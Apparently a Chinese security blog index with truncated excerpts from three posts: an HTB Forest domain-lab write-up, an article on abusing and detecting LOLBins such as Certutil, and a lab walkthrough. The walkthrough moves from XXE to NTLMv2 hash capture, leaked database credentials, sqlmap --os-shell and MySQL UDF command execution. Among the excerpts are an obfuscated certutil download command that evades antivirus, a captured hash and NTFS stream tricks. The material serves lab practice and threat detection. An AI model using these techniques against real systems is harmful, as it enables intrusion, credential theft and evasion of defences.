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域靶场合集Write up HTB（上）

最近感到渗透水平的生疏，为了强化我的渗透水平和对漏洞的熟悉程度，现在抽空打一下域相关的靶机，强化回忆起相关的知识并且从中学习新的知识，增加渗透水平和经验，为后面考试做准备。（靶场就不发先知了，先知传图片太难受了，非常不方便） Forest 靶机 ldap匿名访问，可以直接查询域内相关信息： root㉿kali)-[/home/kali/Desktop] └─# nmap -v --script ldap-rootdse 10.10.10.161 -T5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:12 EDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 09:12 Completed NSE at 09:12, 0.00s elapsed Initiating Ping Scan at 09:12 Scanning 10.10.10.161 [4 ports] Completed Ping Scan at 09:12, 0.18s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 09:12 Completed Parallel DNS resolution of 1 host....

Living Off the Land Binaries 攻防实践浅析

抽空写完了，完善测试一下发了出来。中秋节将近，祝愿师傅们健康快乐。 Living Off The Land Binaries Living Off The Land Binaries (LOLBins) 是指操作系统中自带的合法工具、可执行文件或二进制文件，这些文件本来是为系统管理或维护设计的，但攻击者却利用它们来执行恶意活动。因为这些工具本身是合法的，且在系统中广泛使用，所以很难被安全软件检测为恶意行为。针对这部分做威胁狩猎是一个不错的开始，不仅涵盖了各个阶段，而且从技术层面上比较容易落地（非常好写规则，不像高级的攻击技术，日志源都没有，直接寄了），目前公开LOLBAS覆盖的TTPS如下：安全设备与日志检测这里为了方便起见就不拉其他杀毒，用的自带的杀软，仅作为演示。 Certutil.exe 实践 Windows有一个名为CertUtil的内置程序，可用于在Windows中管理证书。使用此程序可以在Windows中安装，备份，删除，管理和执行与证书和证书存储相关的各种功能。CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。命令执行漏洞利用场景频繁使用Certutil.exe下载后门下载测试直接下载Windows的杀毒会报警，拦截掉了命令：根据Windows的CMD特性，混淆一下命令就绕过了杀毒基于命令行的检测： cert^u^t^il -url""""cache -sp""""lit -f https://www.baidu.com Elastic Rule 检测分析这个ES官方的规则，限制死了certutil的出站访问，意味着无法从技术层面上绕过这个日志规则的检测 [metadata] creation_date = "2020/03/19" maturity = "production" updated_date = "2021/05/26" [rule] author = ["Elastic"] description = """ Identifies certutil.exe making a network connection. Adversaries could abuse certutil.exe to download a certificate, or malware, from a remote URL. """ from = "now-9m" index = ["winlogbeat-*", "logs-endpoint....

过去的考核靶场

这是过去同事出的某个月的靶场，主要考察数据库的利用，现在我回顾了一下，有其他办法打下来。靶场这种，对熟悉的朋友可能当成流水账分享出来，但是利用是思路可以启发一些新入坑的师傅。现在我工作研究以云为主，后续会分享一些云的靶场和云的攻击思路具体过程端口扫描：访问页面：下载源代码：一个明显的XXE，但是我忘了payload怎么插位置了，选择do active scan： bp的扫描有点慢，等5分钟作用看到控制台已经出现XXE告警了：尝试利用file协议触发NTLM认证拿到NTLMv2 [SMB] NTLMv2-SSP Client : 192.168.9.32 [SMB] NTLMv2-SSP Username : WIN-5VFSQB79O7Q\Administrator [SMB] NTLMv2-SSP Hash : Administrator::WIN-5VFSQB79O7Q:4c08c6e928eb92e1:509F646FA230C594CA87E41CC35AE6B2:010100000000000080636C8EFC8AD9017B9A24AA652678890000000002000800440033005300480001001E00570049004E002D004900330050004E00310051005000360046005600500004003400570049004E002D004900330050004E0031005100500036004600560050002E0044003300530048002E004C004F00430041004C000300140044003300530048002E004C004F00430041004C000500140044003300530048002E004C004F00430041004C000700080080636C8EFC8AD9010600040002000000080030003000000000000000000000000030000069C08C33C70925621E8A9A661614AE8333E6846F5F1861A6BB5A1A7E8E1EA01D0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00310031002E00320031003700000000000000000000000000 尝试hashcat破解密码发现7位以内还很好破解，到了8位要好几个小时，基本上没时间放弃了（过了一段时间，我发现hashcat可以使用Rule去破解，速度缩短到一个小时以内破解任意非随机生成的密码）：利用XXE外部实体读取有回显的文件：读取connet.php文件内容获取密码：连接数据库文件： Mysql#202305 测试sql直接udf拿shell，果然不行 sqlmap -d "mysql://root:Mysql#[email protected]:3306/mysql" --os-shell 手工建立连接发现插件位置 C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll 无法写入：根据大佬提示，没办法写入的原因是phpstudy默认没有这个东西 C:\phpstudy_pro\Extensions\MySQL5.5.29\ 需要创建插件目录，需要逐级创建： select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; 写入对应的dll库： SELECT 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INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll'; 自定义函数： CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf....

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